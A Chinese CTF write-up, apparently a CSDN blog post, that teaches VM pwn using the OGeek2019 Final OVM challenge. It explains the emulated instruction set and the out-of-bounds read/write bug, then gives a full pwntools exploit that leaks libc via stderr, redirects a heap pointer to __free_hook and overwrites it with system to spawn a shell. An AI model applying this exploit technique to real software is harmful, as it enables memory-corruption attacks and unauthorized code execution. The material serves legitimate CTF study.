一道题目入门VMpwn

一道题目学习VMpwn

原理

VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:

  • 初始化分配模拟寄存器空间(reg)
  • 初始化分配模拟栈空间(stack)
  • 初始化分配模拟数据存储空间(data)
  • 初始化分配模拟机器指令(opcode)空间(text)

[OGeek2019 Final]OVM

程序采用32bit定长指令,每个操作码、操作数均为8bit,其格式为:

| opcode | dst | op1 | op2 |

程序具体指令参考如下:

opcode含义指令
0x10reg[dst]=op2mov
0x20op2==0?reg[dst]=1:reg[dst]=0test
0x30reg[dst]=memory[reg[op2]]mov reg1,[reg2]
0x40memory[reg[op2]]=reg[dst]mov [reg1],reg2
0x50stack[rsp]=reg[dst];rsp=rsp+4;push
0x60rsp=rsp-4;reg[dst]=stack[rsp];pop
0x70reg[dst] = reg[op2] + reg[op1]add
0x80reg[dst]=reg[op1]-reg[op2]sub
0x90reg[dst] = reg[op2] & reg[op1]and
0xa0reg[dst] = reg[op2]or
0xb0reg[dst] = reg[op2] ^ reg[op1]xor
0xc0reg[dst] = reg[op1] << reg[op2]
0xd0reg[dst] = reg[op1] >> reg[op2]
0xe0exit+printf

程序利用思路

  1. 如下图,程序在内存读写的时候,均没有对输入的值做边界检查,如存在oob,可以利用该漏洞实现任意地址的读写,如读取got泄露libc
  2. 在这个程序里可以memory地址为0x202060,程序申请了glibc堆空间,该堆地址保存在comment处(地址0x202040),且用户可向该空间写入任意数据,故可以改写comment指向free_hook-0x8,填充free_hook为system,getshell
  3. 参考LOW博客,通过oob将stderror地址放入寄存器,通过偏移计算freehook,并将freehook填入comment,利用exit+printf泄露libc,得system地址,改写freehook为system从而获取shell

在这里插入图片描述

exp

from pwn import *

#r = remote("node3.buuoj.cn", 29381)
r = process("./pwn")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r,
	'''	
	b *$rebase(0xCFE)
	x/10gx $rebase(0x242060)
	c
	''')

elf = ELF("./pwn")
#libc = ELF('/home/hhh/桌面/heap/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
libc=elf.libc
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
log.success("malloc:"+hex(libc.sym[b'malloc']))
log.success("system:"+hex(libc.sym[b'system']))
log.success("free_hook:"+hex(libc.sym[b'__free_hook']))


def code_generate(code, dst, op1, op2):
	res = code<<24
	res += dst<<16
	res += op1<<8
	res += op2
	return res

r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0, 0, 26))) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 2, 0, 1))) #reg[2] = memory[reg[1]]  #stderror地址的低4bytes
r.sendline(str(code_generate(0x10, 0, 0, 25))) #reg[0] = 25
r.sendline(str(code_generate(0x10, 1, 0, 0))) #reg[1] = 0
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 3, 0, 1))) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
r.sendline(str(code_generate(0x10, 4, 0, 1))) #reg[4] = 1
r.sendline(str(code_generate(0x10, 5, 0, 12))) #reg[5] = 12
r.sendline(str(code_generate(0xC0, 4, 4, 5))) #reg[4] = reg[4]<<reg[5]#reg4=0x1000
r.sendline(str(code_generate(0x10, 5, 0, 0xA))) #reg[5] = 0xA
r.sendline(str(code_generate(0x10, 6, 0, 4))) #reg[6] = 4
r.sendline(str(code_generate(0xC0, 5, 5, 6))) #reg[5] = reg[5]<<reg[6]
r.sendline(str(code_generate(0x70, 4, 4, 5))) #reg[4] = reg[4]+reg[5]#reg4=0x10a0
r.sendline(str(code_generate(0x70, 2, 4, 2))) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x10a8,这里使用0x10a0,求得freehook-0x8的位置
r.sendline(str(code_generate(0x10, 4, 0, 8))) #reg[4] = 8
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 2, 0, 5))) #memory[reg[5]]=reg[2] #改comment指向free_hook
r.sendline(str(code_generate(0x10, 4, 0, 7))) #reg[4] = 7
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 3, 0, 5))) #memory[reg[5]]=reg[3]
r.sendline(str(code_generate(0xE0, 0, 1, 1))) #exit

r.recvuntil("R2: ")
low = int(r.recvuntil('\n').strip(), 16) + 8
r.recvuntil("R3: ")
high = int(r.recvuntil('\n').strip(), 16)
free_hook = (high<<32)+low
log.success("free_hook:"+hex(free_hook))
libc.address = free_hook - libc.sym[b'__free_hook']
system = libc.sym[b'system']
r.recvuntil("HOW DO YOU FEEL AT OVM?\n")
r.sendline(b'/bin/sh\x00'+p64(system))

r.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值